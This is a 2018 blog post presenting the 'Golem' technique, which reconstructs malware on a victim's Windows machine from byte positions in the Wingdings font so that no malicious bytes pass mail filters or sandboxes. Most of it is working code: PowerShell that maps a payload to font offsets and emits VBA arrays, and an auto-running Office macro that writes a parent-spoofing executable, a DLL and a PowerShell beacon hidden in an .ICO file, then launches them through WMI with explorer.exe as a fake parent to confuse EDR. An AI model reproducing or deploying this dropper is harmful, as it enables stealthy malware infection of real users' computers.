dimanche 18 novembre 2018

Golem Malware - The Malware Hiding in Your Windows Fonts Folder



Introduction
The "Living Off the Land" approach to hacking is to execute malicious actions from legitimate binaries already installed on the victim's endpoint. There is no need to pack any extra software in the payload baggage to transfer external files: it’s already on the victim’s computer.

Nevertheless, in many cases, a common attack would follow these steps (playskool high level steps):
  1. Deliver a file containing a payload that could contain:
    • malicious code that need to be executed
    • OR
    • non malicious code; the payload will download the malicious components in third step
  2. Convince the victim to execute the payload
  3. The payload will then:
    • execute its malicious components with the help of a LoLBIN
    • OR
    • download its malicious components then execute it with the help of a LoLBIN
Objective
I would like a solution that meets the following criteria:
  1. Does not contain any malicious code (not even malicious bytes http://www.exploit-monday.com/2011/09/dropping-executables-with-powershell.html) to go through the perimeter (mail filtering, sandboxing, etc)
  2. Does not download any malicious code
  3. Execute malicious code 
Malware generating itself from the endpoint victim's fonts
First, we need to find a component that is the same on every Windows Operating System version. I looked for this Holy Grail and found this:


















I compared the Windings font between a lot of Windows versions and the font was exactly the same.

We could achieve our objective by using this font which seems to be a common item between all Windows computer. How to achieve this? The recipe would be:
  1. Collect the bytes from our malware on our computer
  2. Compare the first byte of our malware to the Wingdings font
  3. As soon as we find the same byte in the font, we record its position in a text file
  4. We repeat this process until we have found all the bytes contained in the malware and recorded their position in our text file
  5. Our payload will contain the position from the Wingdings font for each of its byte
  6. Once on the victim machine, the payload will build its malicious components by using the bytes position from the Wingdings font
The code in PowerShell to find the bytes in the font:

$Font = "C:\Windows\Fonts\wingding.ttf"
$Malware = "C:\Users\Administrator\Pictures\2.PNG"

$fontArray = Get-Content $Font -Encoding Byte -ReadCount 0
$malwareArray = Get-Content $Malware -Encoding Byte -ReadCount 0
$offsetArray = @()
foreach ($byteInMalware in $malwareArray){
    $index = 0
    foreach ($byteInFont in $fontArray) {
        if ($byteInMalware -eq $byteInFont) {
            $offsetArray += $index
            break
        }
        $index++
    }    
}
PowerShell Code to generate a VBA code that you could insert in a Macro. This code will produce byte arrays that contain the position of the bytes to build your malicious component:

$i=0
$payload = ""
$j=0
$u=1
$payDef = ""
foreach($offset in $offsetArray){  

    if($i -eq 30) {
        $payload = $payload + ", " + $offset + " _`r`n"
        $i=0       
        $j++ 
    }
    else {
       if($i -eq 0) {
        $payload = $payload + $offset       
       }
       else {
        $payload = $payload + ", " + $offset       
       }
    }
    if($j -eq 25)  {
        $payDef = $payDef + "`r`nFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"
        $payload = ""
        $u++
        $j = 0
    }
    $i++
}
if($payload -ne ""){
$payDef = $payDef + "`r`nFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"
}

$payDef
Result:
The following (crappy) VBA code will use the bytes array we created to generate malicious components. The next steps of the following code is to select Explorer.exe as a parent process for RunDll32.exe (to confuse EDR products ;-)), then will execute the malicious components with RunDll32.exe (a .DLL running a PowerShell beacon from an .ICO resource). You could replace this by injecting memory processes instead of writing files to the disk. The exercise is left to the reader.

VBA code:

[...] --> you array of bytes containing the position of necessary bytes in the Windings font.
'example to join the bytes for the fist malicious component
    t1 = cc1
    t2 = cc2
    t3 = cc3
    t4 = cc4
    t5 = cc5
    t6 = cc6
    t7 = cc7
    t8 = cc8
    t9 = cc9
    t10 = cc10
    t11 = cc11
    t12 = cc12
    t13 = cc13
    t14 = cc14
    t15 = cc15
    t16 = cc16
    t17 = cc17
    t18 = cc18

    ttt = Split(Join(t1, ",") & "," & Join(t2, ",") & "," & Join(t3, ",") & "," & Join(t4, ",") & "," & Join(t5, ",") & "," & Join(t6, ",") & "," & Join(t7, ",") & "," & Join(t8, ",") & "," & Join(t9, ",") _
     & "," & Join(t10, ",") & "," & Join(t11, ",") & "," & Join(t12, ",") & "," & Join(t13, ",") & "," & Join(t14, ",") & "," & Join(t15, ",") & "," & Join(t16, ",") & "," & Join(t17, ",") & "," & Join(t18, ","), ",")
[...]

    Dim nb As Integer
    Dim nb2 As Integer
    nb = UBound(ttt) - LBound(ttt) + 1 'ttt is a joined byte array
    nb2 = UBound(tt) - LBound(tt) + 1
    nb3 = UBound(ttttttt) - LBound(ttttttt) + 1
    Dim intFileNumber As Integer
    Dim i As Integer
    Dim j As Integer
    Dim lngFileSize As Long
    Dim lngFileSize2 As Long
    Dim strBuffer As String
    Dim strBuffer2 As String
    Dim lngCharNumber As Long
    Dim lngCharNumber2 As Long
    Dim strCharacter As String * 1
    Dim strCharacter2 As String * 1
    Dim strFileName As String
    Dim strFileName2 As String
    Dim offset() As Variant
        
    strFileName = "C:\Windows\Fonts\wingding.ttf"
    intFileNumber = FreeFile
    Open strFileName For Binary Access Read Shared As #intFileNumber
        lngFileSize = LOF(intFileNumber)
        strBuffer = Space$(lngFileSize)
        Get #intFileNumber, , strBuffer
    Close #intFileNumber

   Dim nFileNum As Long
   Dim sFilename As String
   Dim ind As Long
   sFilename2 = "C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary that will be use to select the parent of rundll32
   sFilename = "C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will run powershell beacon from an image
   sFilename3 = "C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beacon registered in an .ICO
   nFileNum = FreeFile
   ' a loop would be better ;-)
   Open sFilename2 For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb - 1
        ind = lngCharNumber + 1
        off = ttt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
   
   nFileNum = FreeFile
   Open sFilename For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb2 - 1
        ind = lngCharNumber + 1
        off = tt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
   
   nFileNum = FreeFile
   Open sFilename3 For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb3 - 1
        ind = lngCharNumber + 1
        off = ttttttt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
   rr
End Sub

Sub rr()
  Dim xx As String
  Dim oihfasf As Object, eopuf As Object, kdj As Object
  Dim oDic As Object, a() As Variant
  Dim pskaf As Integer
 
  Set oDic = CreateObject("Scripting.Dictionary")

  xx = "."

  Set oihfasf = GetObject("winmgmts:\\" _
      & xx & "\root\CIMV2")
  Set eopuf = oihfasf.ExecQuery _
      ("Select Name, ProcessID FROM Win32_Process", , 48)

  For Each kdj In eopuf
      If (kdj.Properties_("Name").Value) = "explorer.exe" Then
          pskaf = (kdj.Properties_("ProcessID").Value)
      End If
  Next
Dim t As Date

Dim cnt As Long
Dim arr(2) As Byte

Dim xl As String
xl = "C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exe C:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -f C:\Users\Public\Documents\BEACON.ico"" " & pskafxx = "."
Set ow = GetObject("winmgmts:\\" & xx & "\Root\cimv2")
Set os = ow.Get("Win32_ProcessStartup")
Set oc = os.SpawnInstance_
Set op = GetObject("winmgmts:\\" & xx & "\root\cimv2:Win32_Process")
op.Create xl, Null, oc, aslh

End Sub
Sub AutoOpen()
    cc
End Sub
Sub Workbook_Open()
    cc
End Sub

That's all Folks!